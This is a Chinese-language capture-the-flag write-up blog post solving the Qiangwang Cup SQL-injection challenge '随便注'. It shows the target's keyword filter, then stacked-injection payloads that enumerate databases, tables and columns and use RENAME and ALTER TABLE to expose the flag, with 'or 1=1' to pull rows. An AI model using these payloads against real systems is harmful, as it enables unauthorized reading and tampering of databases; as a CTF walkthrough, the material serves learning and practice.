随便注[强网杯]
sql注入
学习出处:
https://blog.csdn.net/weixin_45551083/article/details/105389126
https://blog.csdn.net/qq_26406447/article/details/90643951
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
select/update/delete/drop/insert/where过滤
无法使用union联合查询,使用堆叠注入
查看数据库 ?inject=1’ ;show databases—+
查看表 ?inject=1’ ;show tables-+
查看列 ?inject=1’ ;show columns from words—+
注意:查看列的时候要注明 from哪个表
查询1919810931114514表中所有列
?inject=1’ ;show columns from `1919810931114514`—+
关于反引号:表名、字段、数据库名等标识符可用反引号 ` 。
标识符也可以不使用反引号,但如果标识符包含特殊字符或保留字,则必须使用。
rename
rename tables tbl_name to new_tbl_name [, tbl_name2 to new_tbl_name2] …本语bai句用于对一个或多个表进行du重命名。
alter tables


?id=1’;rename tables`words` to `aaa`;rename tables `1919810931114514` to `words`;alter table `words` add `id` int(10);alter table`words` change `flag` `data` varchar(100)—+
?id=1’ or 1=1—+
得到flag
关于是否修改flag为data
看了很多wp,发现不用修改列名也能得到flag
或者直接把flag改为id也可以
https://blog.csdn.net/qq_26406447/article/details/90643951
在这条中得到了答案
之前猜测的内部查询语句是
select id,data from words where id=
结果有出入,推测 select * from words where id=
答疑
1.为什么最后得到flag需要or 1=1,直接查询1’—+不行
插入id列后 查找不到id=1 需要or 1=1通过验证
2.为什么这条语句直接查询1 可以得到flag
1’;rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#
因为这条语句插入id列 auto_increment primary key id的主键值实现自增
所以查询1可以得到flag值
- 本文标题:随便注[强网杯]
- 本文作者:y4ny4n
- 创建时间:2020-07-30 15:25:54
- 本文链接:https://y4ny4n.cn/2020/07/30/随便注-强网杯/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
